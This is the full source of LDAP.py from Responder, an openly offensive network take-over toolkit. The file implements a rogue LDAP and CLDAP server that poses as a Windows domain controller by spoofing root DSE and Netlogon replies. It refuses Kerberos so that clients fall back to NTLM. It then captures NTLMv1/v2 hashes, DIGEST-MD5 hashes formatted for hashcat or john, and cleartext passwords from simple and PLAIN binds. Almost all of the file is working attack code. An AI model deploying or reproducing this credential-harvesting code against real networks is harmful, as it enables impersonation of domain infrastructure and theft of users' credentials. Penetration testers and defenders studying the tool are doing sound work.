Files
Responder/servers/LDAP.py
2025-12-31 15:47:52 -03:00

995 lines
32 KiB
Python

#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import *
import struct
import codecs
import random
import base64
import hashlib
# Global storage for client domain information from CLDAP
client_domain_info = {} # Stores full domain info: {client_ip: {'domain': ..., 'guid': ..., 'netbios': ...}}
def extract_domain_info_from_cldap(data, client_ip):
"""Extract complete domain information from CLDAP Netlogon request"""
try:
domain_info = {}
# Extract DNS domain name
dns_domain_idx = data.find(b'DnsDomain')
if dns_domain_idx != -1:
offset = dns_domain_idx + len('DnsDomain')
domain_section = data[offset:offset+50]
domain_bytes = []
for i, b in enumerate(domain_section):
if 32 <= b <= 126:
domain_bytes.append(b)
elif b == 0 and domain_bytes:
break
if domain_bytes:
domain = bytes(domain_bytes).decode('latin-1', errors='ignore').strip().rstrip('.')
if '.' in domain and len(domain) < 50:
domain_info['domain'] = domain
# Extract Domain GUID
guid_idx = data.find(b'DomainGuid')
if guid_idx != -1:
offset = guid_idx + 10 # Skip 'DomainGuid' (10 bytes)
if offset + 2 < len(data):
# GUID structure: [tag] [length] [GUID bytes]
# Skip tag byte (usually 0x04 for OCTET STRING)
guid_len = data[offset + 1]
if 0 < guid_len <= 16 and offset + 2 + guid_len <= len(data):
guid_bytes = data[offset + 2:offset + 2 + guid_len]
domain_info['guid'] = guid_bytes
# Extract NtVer (NT version/capabilities flags)
ntver_idx = data.find(b'NtVer')
if ntver_idx != -1:
offset = ntver_idx + len('NtVer')
if offset + 6 < len(data):
# NtVer is usually 4 bytes
try:
ntver_len = data[offset + 1]
if ntver_len == 4:
ntver_bytes = data[offset + 2:offset + 6]
ntver = struct.unpack('<I', ntver_bytes)[0]
domain_info['ntver'] = ntver
except:
pass
# Extract DomainSid if present
domsid_idx = data.find(b'DomainSid')
if domsid_idx != -1:
offset = domsid_idx + len('DomainSid')
if offset + 30 < len(data):
try:
sid_len = data[offset + 1]
if 8 <= sid_len <= 68: # Valid SID length range
sid_bytes = data[offset + 2:offset + 2 + sid_len]
domain_info['domainsid'] = sid_bytes
except:
pass
# Extract Host (client computer name) - just for logging
host_idx = data.find(b'Host')
if host_idx != -1:
offset = host_idx + 4
host_section = data[offset:offset+50]
host_bytes = []
for b in host_section:
if 32 <= b <= 126:
host_bytes.append(b)
elif b == 0 and host_bytes:
break
if host_bytes:
try:
client_host = bytes(host_bytes).decode('latin-1', errors='ignore')
if 3 <= len(client_host) <= 20:
domain_info['client_host'] = client_host
except:
pass
if domain_info and 'domain' in domain_info:
if settings.Config.Verbose:
guid_str = domain_info.get('guid', b'').hex() if 'guid' in domain_info else 'N/A'
ntver_str = f"0x{domain_info['ntver']:08x}" if 'ntver' in domain_info else 'N/A'
client_host = domain_info.get('client_host', 'N/A')
print(text('[CLDAP] Client %s: domain=%s, guid=%s, ntver=%s, host=%s' %
(client_ip, domain_info['domain'], guid_str[:32], ntver_str, client_host)))
client_domain_info[client_ip] = domain_info
return domain_info
except Exception as e:
if settings.Config.Verbose:
print(text('[CLDAP] Error extracting domain info: %s' % str(e)))
return None
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
name = name.split(".")
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
Dnslen = ''
for x in name:
if len(x) >= 1:
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
try:
Dns = data.find(b'DnsDomain')
if Dns == -1:
return None, None
DnsName = data[Dns+9:]
DnsGuidOff = data.find(b'DomainGuid')
if DnsGuidOff == -1:
return None, None
Guid = data[DnsGuidOff+10:]
if Dns:
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
DomainName = DnsName[2:2+DomainLen]
if Guid:
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
DomainGuid = Guid[2:2+DomainGuidLen]
return DomainName, DomainGuid
except:
pass
return None, None
def encode_ldap_length(length):
"""Encode length in ASN.1 format for LDAP"""
if length < 128:
return struct.pack('B', length)
elif length < 256:
return b'\x81' + struct.pack('B', length)
elif length < 65536:
return b'\x82' + struct.pack('>H', length)
else:
return b'\x83' + struct.pack('>I', length)[1:]
def ParseSearch(data, client_ip=None):
# Extract Message ID properly
try:
offset = 1 # Skip SEQUENCE tag
msg_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# Skip to INTEGER tag for MessageID
if data[offset] != 0x02:
TID = '\x02' # Default fallback
else:
offset += 1
msgid_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if msgid_len == 1:
TID = data[offset:offset+1].decode('latin-1')
else:
TID = '\x02' # Default fallback
except:
TID = '\x02' # Default fallback
if re.search(b'Netlogon', data):
# Extract domain from CLDAP Netlogon request
if client_ip:
extract_domain_info_from_cldap(data, client_ip)
# Generate realistic DC name based on extracted domain
try:
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
except Exception as e:
if settings.Config.Verbose:
print(text('[CLDAP] Parsing error: %s' % str(e)))
DomainName = None
DomainGuid = None
# Generate DC hostname (just DC1, not domain-based)
if DomainName:
try:
domain_str = DomainName.decode('latin-1', errors='ignore').strip().rstrip('.')
NbtName = "DC1"
if settings.Config.Verbose:
print(text('[CLDAP] Generated DC name: %s (from domain: %s)' % (NbtName, domain_str)))
except:
NbtName = settings.Config.MachineName
else:
NbtName = settings.Config.MachineName
TID = NetworkRecvBufferPython2or3(data[8:10])
if TID[1] == "\x63":
TID = "\x00"+TID[0]
# Handle None DomainGuid
if DomainGuid:
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
else:
# Use zero GUID (16 bytes of zeros) if we couldn't extract one
DomainGuid = NetworkRecvBufferPython2or3(b'\x00' * 16)
if settings.Config.Verbose:
print(text('[CLDAP] Warning: Could not extract DomainGuid, using zero GUID'))
# Handle None DomainName
if not DomainName:
DomainName = settings.Config.MachineName.encode('latin-1')
# Decode and clean domain name
domain_str_clean = DomainName.decode('latin-1', errors='ignore').strip().rstrip('.')
DomainName_clean = domain_str_clean.encode('latin-1')
# Extract domain NetBIOS name (first part before dot)
domain_netbios = domain_str_clean.split('.')[0].upper()
t = CLDAPNetlogon(MessageIDASNStr=TID, CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName_clean)[0], NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(domain_netbios)[0], NTLogonDomainNameShort=CalculateDNSName(DomainName_clean)[1])
t.calculate()
return str(t)
# Detect root DSE query (empty baseObject + objectclass=* filter)
# Windows queries for various root DSE attributes - respond to all of them
# Note: check both "objectClass" and "objectclass" since byte regex (?i) doesn't work in Python
if (b'objectClass' in data or b'objectclass' in data) and (
b'supportedSASLMechanisms' in data or
b'namingContexts' in data or
b'defaultNamingContext' in data or
b'supportedCapabilities' in data or
b'supportedControl' in data or
b'supportedLDAPVersion' in data or
b'supportedLDAPPolicies' in data or
b'dsServiceName' in data or
b'dnsHostName' in data or
b'serverName' in data or
b'ldapServiceName' in data or
b'subschemaSubentry' in data
):
# Build root DSE response
MessageID = TID
# Use client's domain info from CLDAP if available, otherwise use config
domain = None
domain_guid = None
dc_hostname = None
if client_ip and client_ip in client_domain_info:
domain_info = client_domain_info[client_ip]
domain = domain_info.get('domain')
domain_guid = domain_info.get('guid')
# Generate DC hostname (just DC1)
dc_hostname = "DC1"
if settings.Config.Verbose:
guid_str = domain_guid.hex()[:32] if domain_guid else 'N/A'
print(text('[LDAP] Using client domain info: domain=%s, guid=%s, dc_name=%s' % (domain, guid_str, dc_hostname)))
if not domain:
domain = settings.Config.MachineName.upper()
if not dc_hostname:
# Fallback: use config machine name but make it look like a DC
dc_hostname = settings.Config.MachineName
# Domain components - strip trailing dots and filter empty parts
domain = domain.strip().rstrip('.') # Remove trailing dot if present
if '.' in domain:
domain_parts = [part for part in domain.upper().split('.') if part] # Filter empty strings
else:
domain_parts = [domain.upper(), 'LOCAL']
# Build DN strings for serverName attribute
domain_dn = ','.join(['DC=' + part for part in domain_parts])
config_dn = 'CN=Configuration,' + domain_dn
server_name = 'CN=' + dc_hostname + ',CN=Servers,CN=Default-First-Site-Name,CN=Sites,' + config_dn
# Build full DNS hostname for the DC
dc_fqdn = dc_hostname + '.' + domain
# CRITICAL: Real DCs only return a MINIMAL set of attributes for root DSE queries
# Based on analysis of real DC (WIN-H4M1G51C701), return ONLY these 8 core attributes:
# This matches the exact behavior of a real Windows DC
attrs = {
'dnsHostName': [dc_fqdn],
'ldapServiceName': [domain_parts[0] + ':' + dc_hostname + '@' + domain],
'serverName': [server_name],
'supportedCapabilities': ['1.2.840.113556.1.4.800', '1.2.840.113556.1.4.1670', '1.2.840.113556.1.4.1791', '1.2.840.113556.1.4.1935'],
'supportedControl': ['1.2.840.113556.1.4.319', '1.2.840.113556.1.4.801', '1.2.840.113556.1.4.473', '1.2.840.113556.1.4.528', '1.2.840.113556.1.4.417', '1.2.840.113556.1.4.619', '1.2.840.113556.1.4.841', '1.2.840.113556.1.4.529', '1.2.840.113556.1.4.805', '1.2.840.113556.1.4.521', '1.2.840.113556.1.4.970', '1.2.840.113556.1.4.1338', '1.2.840.113556.1.4.474', '1.2.840.113556.1.4.1339', '1.2.840.113556.1.4.1340', '1.2.840.113556.1.4.1413', '2.16.840.1.113730.3.4.9', '2.16.840.1.113730.3.4.10', '1.2.840.113556.1.4.1504', '1.2.840.113556.1.4.1852', '1.2.840.113556.1.4.802', '1.2.840.113556.1.4.1907', '1.2.840.113556.1.4.1948', '1.2.840.113556.1.4.1974', '1.2.840.113556.1.4.1341', '1.2.840.113556.1.4.2026', '1.2.840.113556.1.4.2064', '1.2.840.113556.1.4.2065', '1.2.840.113556.1.4.2066'],
'supportedLDAPPolicies': ['MaxPoolThreads', 'MaxDatagramRecv', 'MaxReceiveBuffer', 'InitRecvTimeout', 'MaxConnections', 'MaxConnIdleTime', 'MaxPageSize', 'MaxQueryDuration', 'MaxTempTableSize', 'MaxResultSetSize', 'MaxNotificationPerConn', 'MaxValRange'],
'supportedLDAPVersion': ['3', '2'],
'supportedSASLMechanisms': ['GSSAPI', 'GSS-SPNEGO', 'NTLM', 'EXTERNAL', 'DIGEST-MD5'],
}
# NOTE: We do NOT return these attributes (real DC doesn't return them for root DSE queries):
# - subschemaSubentry, dsServiceName, defaultNamingContext, namingContexts
# - configurationNamingContext, schemaNamingContext, rootDomainNamingContext
# - domainFunctionality, forestFunctionality, domainControllerFunctionality
# - isGlobalCatalogReady, isSynchronized
# Returning these causes Windows to reject us as not a real DC!
# Build all attributes
all_attrs = b''
for attr_name, attr_values in attrs.items():
# Build attribute SEQUENCE
attr_type = b'\x04' + encode_ldap_length(len(attr_name)) + attr_name.encode('latin-1')
# Build values SET
vals_content = b''
for val in attr_values:
val_bytes = val.encode('latin-1')
vals_content += b'\x04' + encode_ldap_length(len(val_bytes)) + val_bytes
attr_vals = b'\x31' + encode_ldap_length(len(vals_content)) + vals_content
attr_content = attr_type + attr_vals
attr = b'\x30' + encode_ldap_length(len(attr_content)) + attr_content
all_attrs += attr
attrs_seq = b'\x30' + encode_ldap_length(len(all_attrs)) + all_attrs
# Build SearchResultEntry
object_name = b'\x04\x00' # Empty for root DSE
search_entry_content = object_name + attrs_seq
search_entry = b'\x64' + encode_ldap_length(len(search_entry_content)) + search_entry_content
# Build LDAPMessage
msgid_bytes = b'\x02\x01' + MessageID.encode('latin-1')
msg_content = msgid_bytes + search_entry
msg = b'\x30' + encode_ldap_length(len(msg_content)) + msg_content
# SearchResultDone
result_done = b'\x65\x07\x0a\x01\x00\x04\x00\x04\x00'
done_msg_content = msgid_bytes + result_done
done_msg = b'\x30' + encode_ldap_length(len(done_msg_content)) + done_msg_content
return (msg + done_msg).decode('latin-1')
# If no specific root DSE query matched, return generic response
return None
def ParseLDAPHash(data, client, Challenge):
"""Parse LDAP NTLMSSP v1/v2"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return
SSPIString = data[SSPIStart:]
if len(SSPIString) < 64:
return
try:
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
# NTLMv1
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
# NTLMv2
elif NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv2-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose:
print(text("[LDAP] Ignoring anonymous NTLM authentication"))
except Exception as e:
if settings.Config.Verbose:
print(text('[LDAP] Error parsing NTLM hash: %s' % str(e)))
def ParseDIGESTMD5(data, client, Challenge):
"""Parse DIGEST-MD5 SASL mechanism responses"""
try:
# Look for DIGEST-MD5 response
digest_start = data.find(b'username="')
if digest_start == -1:
return None
# Extract the digest response data
response_str = data[digest_start:].decode('latin-1', errors='ignore')
# Parse out the username
username_match = re.search(r'username="([^"]+)"', response_str)
realm_match = re.search(r'realm="([^"]+)"', response_str)
nonce_match = re.search(r'nonce="([^"]+)"', response_str)
cnonce_match = re.search(r'cnonce="([^"]+)"', response_str)
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response_str)
qop_match = re.search(r'qop=([a-z\-]+)', response_str)
uri_match = re.search(r'digest-uri="([^"]+)"', response_str)
response_match = re.search(r'response=([0-9a-fA-F]+)', response_str)
if username_match and response_match:
username = username_match.group(1)
realm = realm_match.group(1) if realm_match else ''
nonce = nonce_match.group(1) if nonce_match else ''
cnonce = cnonce_match.group(1) if cnonce_match else ''
nc = nc_match.group(1) if nc_match else ''
qop = qop_match.group(1) if qop_match else ''
uri = uri_match.group(1) if uri_match else ''
response = response_match.group(1)
# Format for hashcat/john
hash_string = '%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s' % (username, realm, nonce, cnonce, nc, qop, uri, response)
SaveToDb({
'module': 'LDAP',
'type': 'DIGEST-MD5',
'client': client,
'user': username,
'hash': response,
'fullhash': hash_string,
})
print(color("[*] [LDAP] Captured DIGEST-MD5 hash from %s for user %s" % (client.replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[LDAP] Error parsing DIGEST-MD5: %s' % str(e)))
return None
def ParsePLAINSASL(data, client):
"""Parse PLAIN SASL mechanism (cleartext credentials)"""
try:
# PLAIN SASL format: [authzid]\x00authcid\x00password
# Find the SASL credentials in the packet
sasl_start = data.find(b'\x04') # Octet string tag
if sasl_start == -1:
return None
# Skip the tag and length bytes
sasl_data = data[sasl_start+2:]
# Split by null bytes
parts = sasl_data.split(b'\x00')
if len(parts) >= 3:
authzid = parts[0].decode('utf-8', errors='ignore')
username = parts[1].decode('utf-8', errors='ignore')
password = parts[2].decode('utf-8', errors='ignore')
if username and password:
SaveToDb({
'module': 'LDAP',
'type': 'PLAIN-SASL',
'client': client,
'user': username,
'cleartext': password,
'fullhash': username + ':' + password,
})
print(color("[*] [LDAP] Captured PLAIN SASL credentials from %s for user %s" % (client.replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[LDAP] Error parsing PLAIN SASL: %s' % str(e)))
return None
def DetectSASLMechanism(data):
"""Detect which SASL mechanism is being used"""
try:
if b'NTLMSSP' in data:
return 'NTLM'
elif b'DIGEST-MD5' in data or b'digest-uri=' in data:
return 'DIGEST-MD5'
elif b'PLAIN' in data:
return 'PLAIN'
elif b'GSSAPI' in data or b'GSS-SPNEGO' in data:
# Try to extract NTLMSSP from GSSAPI wrapper
if b'NTLMSSP' in data:
return 'GSSAPI-NTLM'
# Check for Kerberos
if b'KRB5' in data or b'\x6e\x82' in data: # Kerberos AP-REQ
return 'GSSAPI-KERBEROS'
return 'GSSAPI'
except:
pass
return None
def BuildAuthMethodNotSupportedResponse(MessageID):
"""Build LDAP BindResponse with authMethodNotSupported (7) result code"""
# This forces the client to fall back to NTLM instead of Kerberos
# MessageID (copy from request)
if isinstance(MessageID, bytes):
msgid_bytes = MessageID
elif isinstance(MessageID, str):
msgid_bytes = MessageID.encode('latin-1')
else:
msgid_bytes = b'\x02' # Default
# Build BindResponse content
# ResultCode: authMethodNotSupported (7)
result_code = b'\x0a\x01\x07' # ENUMERATED, length 1, value 7
# MatchedDN: empty
matched_dn = b'\x04\x00' # OCTET STRING, length 0
# DiagnosticMessage: "Authentication method not supported. Please use NTLM."
diag_msg = b'Authentication method not supported. Please use NTLM.'
diag_msg_encoded = b'\x04' + encode_ldap_length(len(diag_msg)) + diag_msg
# BindResponse content
bind_content = result_code + matched_dn + diag_msg_encoded
# BindResponse (APPLICATION 1 = 0x61)
bind_response = b'\x61' + encode_ldap_length(len(bind_content)) + bind_content
# MessageID (INTEGER)
if len(msgid_bytes) == 1:
msgid_encoded = b'\x02\x01' + msgid_bytes
else:
msgid_encoded = b'\x02' + encode_ldap_length(len(msgid_bytes)) + msgid_bytes
# Complete message
ldap_msg = msgid_encoded + bind_response
# SEQUENCE wrapper
complete = b'\x30' + encode_ldap_length(len(ldap_msg)) + ldap_msg
return complete
def ParseNTLM(data, client, Challenge):
"""Parse NTLM authentication"""
# Extract Message ID properly
try:
offset = 1 # Skip SEQUENCE tag
msg_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# Skip to INTEGER tag for MessageID
if data[offset] != 0x02:
MessageID = '\x02' # Default fallback
else:
offset += 1
msgid_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if msgid_len == 1:
MessageID = data[offset:offset+1].decode('latin-1')
else:
MessageID = '\x02' # Default fallback
except:
MessageID = '\x02' # Default fallback
if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
# NTLMSSP NEGOTIATE - send CHALLENGE
if settings.Config.Verbose:
print(text('[LDAP] NTLMSSP NEGOTIATE from %s' % client.replace("::ffff:", "")))
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=MessageID, NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
NTLMChall.calculate()
return NTLMChall
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
# NTLMSSP AUTH - parse hash
if settings.Config.Verbose:
print(text('[LDAP] NTLMSSP AUTH from %s' % client.replace("::ffff:", "")))
ParseLDAPHash(data, client, Challenge)
# Return special marker to close connection after auth
return 'CLOSE_CONNECTION'
def ParseCLDAPPacket(data, client, Challenge):
try:
# Parse LDAP message structure properly
if len(data) < 6:
return None
offset = 0
# SEQUENCE tag (0x30)
if data[offset] != 0x30:
return None
offset += 1
# Parse message length
msg_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# Parse Message ID
if offset >= len(data) or data[offset] != 0x02: # INTEGER
return None
offset += 1
msgid_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if offset + msgid_len > len(data):
return None
MessageID = data[offset:offset+msgid_len]
offset += msgid_len
# Get operation type
if offset >= len(data):
return None
Operation = data[offset:offset+1]
if Operation == b'\x60': # Bind
# Parse bind request
offset += 1
bind_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# LDAP version
if offset >= len(data) or data[offset] != 0x02:
return None
offset += 1
version_len, consumed = parse_asn1_length(data, offset)
offset += consumed
offset += version_len
# Name (DN)
if offset >= len(data) or data[offset] != 0x04:
return None
offset += 1
name_len, consumed = parse_asn1_length(data, offset)
offset += consumed
UserDomain = data[offset:offset+name_len].decode('latin-1', errors='ignore')
offset += name_len
if offset >= len(data):
return None
AuthHeaderType = data[offset:offset+1]
# Simple bind (cleartext)
if AuthHeaderType == b'\x80':
offset += 1
pass_len, consumed = parse_asn1_length(data, offset)
offset += consumed
Password = data[offset:offset+pass_len].decode('latin-1', errors='ignore')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
return 'CLOSE_CONNECTION'
# SASL bind (0xA3)
if AuthHeaderType == b'\xA3':
# Detect mechanism
mechanism = DetectSASLMechanism(data)
if mechanism == 'NTLM' or mechanism == 'GSSAPI-NTLM':
Buffer = ParseNTLM(data, client, Challenge)
return Buffer
elif mechanism == 'GSSAPI-KERBEROS' or mechanism == 'GSSAPI':
# Client is trying Kerberos - reject it to force NTLM fallback
if settings.Config.Verbose:
print(text('[LDAP] Rejecting Kerberos auth from %s, forcing NTLM fallback' % client.replace("::ffff:", "")))
# Extract MessageID to use in response
try:
msg_offset = 1 # Skip SEQUENCE tag
msg_len, consumed = parse_asn1_length(data, msg_offset)
msg_offset += consumed
if data[msg_offset] == 0x02: # INTEGER tag
msg_offset += 1
msgid_len, consumed = parse_asn1_length(data, msg_offset)
msg_offset += consumed
MessageIDBytes = data[msg_offset:msg_offset+msgid_len]
else:
MessageIDBytes = b'\x02'
except:
MessageIDBytes = b'\x02'
# Send authMethodNotSupported response
Buffer = BuildAuthMethodNotSupportedResponse(MessageIDBytes)
return Buffer
elif mechanism == 'DIGEST-MD5':
ParseDIGESTMD5(data, client, Challenge)
elif mechanism == 'PLAIN':
ParsePLAINSASL(data, client)
elif mechanism and settings.Config.Verbose:
print(text('[LDAP] Detected SASL mechanism: %s from %s' % (mechanism, client.replace("::ffff:", ""))))
return None
elif Operation == b'\x63': # Search
Buffer = ParseSearch(data, client)
print(text('[CLDAP] Sent CLDAP pong to %s.' % client.replace("::ffff:", "")))
return Buffer
elif settings.Config.Verbose:
print(text('[CLDAP] Operation not supported'))
except Exception as e:
if settings.Config.Verbose:
print(text('[CLDAP] Parsing error: %s' % str(e)))
return None
def parse_asn1_length(data, offset):
"""Parse ASN.1 length field"""
if offset >= len(data):
return 0, 0
first_byte = data[offset]
# Short form (length < 128)
if first_byte < 0x80:
return first_byte, 1
# Long form
num_octets = first_byte & 0x7F
if num_octets == 0 or offset + 1 + num_octets > len(data):
return 0, 0
length = 0
for i in range(num_octets):
length = (length << 8) | data[offset + 1 + i]
return length, 1 + num_octets
def ParseLDAPPacket(data, client, Challenge):
try:
# Parse LDAP message structure properly
if len(data) < 6:
return None
offset = 0
# SEQUENCE tag (0x30)
if data[offset] != 0x30:
return None
offset += 1
# Parse message length
msg_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# Parse Message ID
if offset >= len(data) or data[offset] != 0x02: # INTEGER
return None
offset += 1
msgid_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if offset + msgid_len > len(data):
return None
MessageID = data[offset:offset+msgid_len]
offset += msgid_len
# Get operation type
if offset >= len(data):
return None
Operation = data[offset:offset+1]
if Operation == b'\x60': # Bind
# Parse bind request
offset += 1
bind_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# LDAP version
if offset >= len(data) or data[offset] != 0x02:
return None
offset += 1
version_len, consumed = parse_asn1_length(data, offset)
offset += consumed
offset += version_len
# Name (DN)
if offset >= len(data) or data[offset] != 0x04:
return None
offset += 1
name_len, consumed = parse_asn1_length(data, offset)
offset += consumed
UserDomain = data[offset:offset+name_len].decode('latin-1', errors='ignore')
offset += name_len
if offset >= len(data):
return None
AuthHeaderType = data[offset:offset+1]
# Simple bind (cleartext)
if AuthHeaderType == b'\x80':
offset += 1
pass_len, consumed = parse_asn1_length(data, offset)
offset += consumed
Password = data[offset:offset+pass_len].decode('latin-1', errors='ignore')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
return 'CLOSE_CONNECTION'
# SASL bind (0xA3)
if AuthHeaderType == b'\xA3':
# Detect mechanism
mechanism = DetectSASLMechanism(data)
if mechanism == 'NTLM' or mechanism == 'GSSAPI-NTLM':
Buffer = ParseNTLM(data, client, Challenge)
return Buffer
elif mechanism == 'GSSAPI-KERBEROS' or mechanism == 'GSSAPI':
# Client is trying Kerberos - reject it to force NTLM fallback
if settings.Config.Verbose:
print(text('[LDAP] Rejecting Kerberos auth from %s, forcing NTLM fallback' % client.replace("::ffff:", "")))
# Extract MessageID to use in response
try:
msg_offset = 1 # Skip SEQUENCE tag
msg_len, consumed = parse_asn1_length(data, msg_offset)
msg_offset += consumed
if data[msg_offset] == 0x02: # INTEGER tag
msg_offset += 1
msgid_len, consumed = parse_asn1_length(data, msg_offset)
msg_offset += consumed
MessageIDBytes = data[msg_offset:msg_offset+msgid_len]
else:
MessageIDBytes = b'\x02'
except:
MessageIDBytes = b'\x02'
# Send authMethodNotSupported response
Buffer = BuildAuthMethodNotSupportedResponse(MessageIDBytes)
return Buffer
elif mechanism == 'DIGEST-MD5':
ParseDIGESTMD5(data, client, Challenge)
elif mechanism == 'PLAIN':
ParsePLAINSASL(data, client)
elif mechanism and settings.Config.Verbose:
print(text('[LDAP] Detected SASL mechanism: %s from %s' % (mechanism, client.replace("::ffff:", ""))))
return None
elif Operation == b'\x63': # Search
Buffer = ParseSearch(data, client)
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported: 0x%02x' % data[offset]))
except Exception as e:
if settings.Config.Verbose:
print(text('[LDAP] Parsing error: %s' % str(e)))
import traceback
traceback.print_exc()
return None
class LDAP(BaseRequestHandler):
"""LDAP handler with improved SASL support"""
def handle(self):
try:
self.request.settimeout(30) # 30 second timeout - typical for LDAP connections
data = self.request.recv(8092)
Challenge = RandomChallenge()
# Extended: Try up to 8 exchanges for multi-stage SASL
for x in range(8):
Buffer = ParseLDAPPacket(data, self.client_address[0], Challenge)
# Check if we should close connection (after NTLM auth)
if Buffer == 'CLOSE_CONNECTION':
break
if Buffer:
self.request.send(NetworkSendBufferPython2or3(Buffer))
# Try to receive more data, but don't crash if client disconnects
try:
data = self.request.recv(8092)
if not data:
break
except:
# Client disconnected or timeout - normal after root DSE query
break
except:
pass
class CLDAP(BaseRequestHandler):
"""CLDAP (connectionless LDAP over UDP) handler"""
def handle(self):
try:
data, soc = self.request
Challenge = RandomChallenge()
for x in range(1):
Buffer = ParseCLDAPPacket(data, self.client_address[0], Challenge)
if Buffer:
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
data, soc = self.request
except:
pass